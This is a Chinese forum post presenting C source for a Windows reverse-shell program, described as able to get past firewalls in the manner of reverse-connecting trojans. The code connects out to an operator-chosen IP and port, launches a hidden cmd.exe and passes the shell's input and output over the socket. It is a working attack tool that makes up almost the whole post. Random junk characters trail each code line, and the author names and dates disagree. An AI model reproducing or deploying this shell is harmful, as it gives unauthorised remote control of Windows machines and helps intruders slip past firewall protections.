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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2>9\o]ac4  
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/* ============================== BS fmS(.  
Rebound port in Windows NT ~'lT8 n_  
By wind,2006/7 ?pZU'5le`  
===============================*/ D/Ki^E  
#include _jG|kjFTc  
#include :Q DkaA  
B za<.E=  
#pragma comment(lib,"wsock32.lib") 9Of;8R  
+ )Qu,%2   
void OutputShell(); LHA^uuBN}  
SOCKET sClient; B-N//ef}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pv5S k8  
Ob]\t/:%P  
void main(int argc,char **argv) +8zACs{p  
{ dP_Q kO  
WSADATA stWsaData; :4V5p =v-  
int nRet; 1rZ E2  
SOCKADDR_IN stSaiClient,stSaiServer; c qCNk  
"'[M~Js  
if(argc != 3) +h"i6`g  
{ ?I^$35  
printf("Useage:\n\rRebound DestIP DestPort\n"); .zZfP+Q]8  
return; g/.FJ-I*  
} C{/U;Ie-b  
=hTJp/L  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5go)D+6s  
XA#qBxp/h  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .t\J @?Z  
u;$qJjS N  
stSaiClient.sin_family = AF_INET; h>!h|Ma  
stSaiClient.sin_port = htons(0); CbM~\6 R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >I@&"&d  
?<t?G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F}l3\uC]  
{ /E<Q_/'Z  
printf("Bind Socket Failed!\n"); h81giY]  
return; <fHHrmZ#/.  
} k?7"r4Vc)S  
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stSaiServer.sin_family = AF_INET; poafGoH-Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ys[xR=nbD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fGV'l__\\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %R4 \[e  
{ >6Pe~J5,:  
printf("Connect Error!"); G_=i#Tu[  
return; ef*Z;HI0  
} 'yH  
OutputShell(); l\L71|3"g  
} ;V~x[J|x  
D,..gsg  
void OutputShell() Sm {Sq  
{ C"n!mr{srt  
char szBuff[1024]; Yz2N(g[  
SECURITY_ATTRIBUTES stSecurityAttributes; w|G7h=  
OSVERSIONINFO stOsversionInfo; wclj9&k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }~LGq.H  
STARTUPINFO stStartupInfo; }f;TG:6  
char *szShell; a=ZVKb  
PROCESS_INFORMATION stProcessInformation; h(@.bt#  
unsigned long lBytesRead; ,k.")  
L:_{bE|TY  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GTbV5{Ss  
fCu;n%   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t|V5[n!  
stSecurityAttributes.lpSecurityDescriptor = 0; M3UC9t9]  
stSecurityAttributes.bInheritHandle = TRUE; PSAEW.L  
x Y$x= )  
Wx#l}nD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +(Hp ".gU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f8K0/z  
!_+FuF"@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8[@Y`j8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XjzGtZ#6  
stStartupInfo.wShowWindow = SW_HIDE; IX 6 jb"  
stStartupInfo.hStdInput = hReadPipe; hyPS 6Y'1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {TJ "O  
21<Sfsc$  
GetVersionEx(&stOsversionInfo); bRFZ:hu l  
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switch(stOsversionInfo.dwPlatformId) )Dv;,t  
{ {7X9P<<L7  
case 1: c'?EI EP  
szShell = "command.com"; #Q_Scxf  
break; .0/"~5  
default: c<q33dZ!*  
szShell = "cmd.exe"; 6Yva4Lv  
break; $&, KZ>  
}  m5J@kE%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lM#/F\  
sjLm-pn3  
send(sClient,szMsg,77,0); Zl# ';~9W  
while(1) JC$_Pg!  
{ DcRoW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &`!H1E^  
if(lBytesRead) vfDX~_N  
{ [70 _uq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NU.4_cixb  
send(sClient,szBuff,lBytesRead,0); T{3-H(-gA  
} }# Ji"e  
else d@ZXCiA},  
{ #Wl9[W/4  
lBytesRead=recv(sClient,szBuff,1024,0); btC<>(kl&  
if(lBytesRead<=0) break; #Ph8 ?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2S@Cj{R(  
} 6m(+X M S  
} xOxyz6B\  
>Wd=+$!I  
return; _!Z}HCk  
}
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